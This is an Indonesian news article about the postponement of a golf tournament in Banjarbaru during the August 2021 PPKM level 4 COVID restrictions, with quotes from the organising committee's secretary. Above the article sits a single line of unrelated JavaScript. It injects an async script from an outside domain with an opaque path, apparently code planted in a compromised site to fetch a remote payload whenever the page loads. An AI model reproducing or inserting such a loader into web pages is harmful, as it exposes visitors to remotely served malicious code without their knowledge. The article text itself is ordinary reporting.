(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

Turnamen Golf di Banjarbaru Ditunda, Panitia: Tak Ada Maksud Menabrak PPKM Level 4

KANALKALIMANTAN.COM, BANJARBARU – Rencana diselenggarakannya turnamen golf di tengah Pemberlakukan Pembatasan Kegiatan Masyarakat (PPKM) level 4 di Kota Banjarbaru, akhirnya dipastikan batal.

Pihak panitia penyelenggara turnamen golf memutuskan menunda kegiatan tersebut lantaran masih berlangsungnya PPKM level 4 di wilayah Banjarbaru.

Sebelumnya, beredar rencana kegiatan turnamen golf yang akan dilaksanakan di lapangan Padang Golf Swargaloka Landasan Ulin, Banjarbaru. Diadakannya kegiatan ini dalam rangka memperingati HUT ke-71 Kabupaten Kotabaru, sekaligus memeriahkan HUT ke-76 Kemerdekaan Republik Indonesia.

Turnamen golf itu dijadwalkan berlangsung dari tanggal 21-22 Agustus. Kabar ini tentunya dipertanyakan publik lantaran fase PPKM level 4 di kota Banjarbaru masih berlangsung hingga 23 Agustus.

Rony Syafriansyah, sekretaris pelaksana turnamen golf kepada Kanalkalimantan.com, memberikan klarifikasi terkait kabar yang telah beredar ke masyarakat luas. Dijelaskannya bahwa kegiatan turnamen golf ini sebenarnya sudah direncanakan sejak Juni lalu atau tepatnya sebelum diterapkan PPKM level 4 di Kota Banjarbaru.

“Jadi kegiatan ini sudah direncanakan sebelum adanya PPKM level 4. Tiap tahun kami rutin mengadakan kegiatan golf dalam momen HUT Kabupaten Kotabaru dan memang biasanya kita kerjasama dengan pihak Swargaloka selaku pemilik lapangan golf di Banjarbaru,” katanya, Minggu (15/8/2021) malam.

Rony menerangkan sejak diumumkannya PPKM level 4 di Banjarbaru, pihaknya sangat memahami terkait aturan apa saja yang ditegakkan. Hanya saja pihaknya tak menyadari bahwa fase pembatasan mobilitas masyarakat itu rupanya telah diperpanjang hingga 23 Agustus.

“Kami tidak tau kalau ternyata PPKM level 4 di Banjarbaru diperpanjang sampai tanggal 23 Agustus. Sedikit pun kami tidak berniat untuk menabrak kebijakan PPKM. Lagi pula kegiatannya belum terlaksana, masih sekedar rencana. Saya harap tidak perlu ada yang dikhawatirkan ataupun dipersalahkan,” terangnya.

Atas kondisi ini, ditegaskannya bahwa pihak panitia telah melakukan rapat pembahasan dan memutuskan menunda kegiatan turnamen golf tersebut. Hal itu sembari menunggu dikeluarkannya izin dari pihak pengelola Swargaloka dan Satgas Covid-19 Banjarbaru.

“Kami dari panitia pelaksana sepakat menunda turnamen golf ini. Sebagaimana diperintahkan bapak Wali Kota Banjarbaru, pelaksanaannya akan ditentukan setelah evaluasi PPKM tanggal 23 nanti,” beber Rony.

Terakhir, Rony menekankan bahwa dilaksanakannya turnamen golf ini bukan hanya untuk hiburan semata. Menurutnya akan sangat banyak dampak positif yang dihasilkan baik itu meningkatkan imun maupun manfaat ekonomi bagi pelaku usaha.

“Kegiatan yang kami laksanakan nantinya tentu sangat positif. Selain meningkatkan imun karena berjemur di matahari, kita juga membawa manfaat ekonomi untuk Swargaloka dan karyawannya, maupun usaha katering. Kami menjanjikan pelaksanaan dengan protokol kesehatan yang ketat. Baik itu membagi peserta sesuai jamnya demi menghindari terjadinya kerumunan dan penggunaan handsanitizer dan masker,” tuntasnya. (kanalkalimantan.com/al)

Reporter: al
Editor : kk